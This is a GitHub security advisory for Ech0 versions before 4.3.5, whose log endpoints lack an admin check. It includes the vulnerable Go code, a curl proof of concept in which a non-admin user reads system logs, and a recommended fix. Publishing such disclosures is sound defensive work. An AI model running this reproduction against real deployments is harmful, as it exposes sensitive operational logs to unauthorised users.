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Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs

Moderate severity GitHub Reviewed Published Apr 9, 2026 in lin-snow/Ech0 • Updated Apr 10, 2026

Package

gomod github.com/lin-snow/ech0 (Go)

Affected versions

< 4.3.5

Patched versions

4.3.5

Description

Summary

Ech0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope.

Impact

Any valid user session can access GET /api/system/logs and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks.

Details

The issue is caused by an authorization gap between route registration, handler logic, and the service layer.

internal/router/dashboard.go registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware:

func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	// Auth
	appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
	appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
	appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}

internal/handler/dashboard/dashboard.go returns log data directly and the SSE/WS handlers only check whether jwtUtil.ParseToken(token) succeeds:

func (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc {
	return res.Execute(func(ctx *gin.Context) res.Response {
		logs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{
			Tail:    tail,
			Level:   ctx.Query("level"),
			Keyword: ctx.Query("keyword"),
		})
		if err != nil {
			return res.Response{Err: err}
		}
		return res.Response{
			Data: logs,
			Msg:  "获取系统日志成功",
		}
	})
}

internal/service/dashboard/dashboard.go exposes the log backend without adding a compensating admin check:

func (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) {
	tail := query.Tail
	if tail <= 0 {
		tail = 200
	}
	return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}

Affected endpoints:

  • GET /api/system/logs
  • GET /api/system/logs/stream?token=...
  • GET /ws/system/logs?token=...

Proof of concept

1. Start the app

docker run -d \
  --name ech0 \
  -p 6277:6277 \
  -v /opt/ech0/data:/app/data \
  -e JWT_SECRET="Hello Echos" \
  sn0wl1n/ech0:latest

2. Initialize an owner account and register a normal user

curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
  -H 'Content-Type: application/json' \
  -d '{"username":"owner","password":"ownerpass","email":"owner@example.com"}'

curl -sS -X POST "http://127.0.0.1:6277/api/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"winky","password":"winkypass","email":"winky@example.com"}'

3. Log in as the non-admin user and request the system log endpoint

winky_token=$(
  curl -sS -X POST "http://127.0.0.1:6277/api/login" \
    -H 'Content-Type: application/json' \
    -d '{"username":"winky","password":"winkypass"}' \
  | sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)

curl -sS "http://127.0.0.1:6277/api/system/logs" \
  -H "Authorization: Bearer $winky_token"

Observed response: the non-admin user receives 200 OK and a JSON response containing entries from app.log

image

The same missing-authorization pattern also affects:

  • GET /api/system/logs/stream?token=<non-admin-token>
  • GET /ws/system/logs?token=<non-admin-token>

Recommended fix

Require an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer.

Suggested change in internal/router/dashboard.go:

import (
	"github.com/lin-snow/ech0/internal/handler"
	"github.com/lin-snow/ech0/internal/middleware"
	authModel "github.com/lin-snow/ech0/internal/model/auth"
)

func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	appRouterGroup.AuthRouterGroup.GET(
		"/system/logs",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.GetSystemLogs(),
	)
	appRouterGroup.AuthRouterGroup.GET(
		"/system/logs/stream",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.SSESubscribeSystemLogs(),
	)
	appRouterGroup.WSRouterGroup.GET(
		"/system/logs",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.WSSubscribeSystemLogs(),
	)
}

Suggested defense-in-depth change in the service layer:

func (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) {
	if err := s.ensureAdmin(ctx); err != nil {
		return nil, err
	}

	tail := query.Tail
	if tail <= 0 {
		tail = 200
	}
	return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}

References

@lin-snow lin-snow published to lin-snow/Ech0 Apr 9, 2026
Published to the GitHub Advisory Database Apr 10, 2026
Reviewed Apr 10, 2026
Last updated Apr 10, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

EPSS score

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-cp79-9mwr-wr49

Source code

Credits

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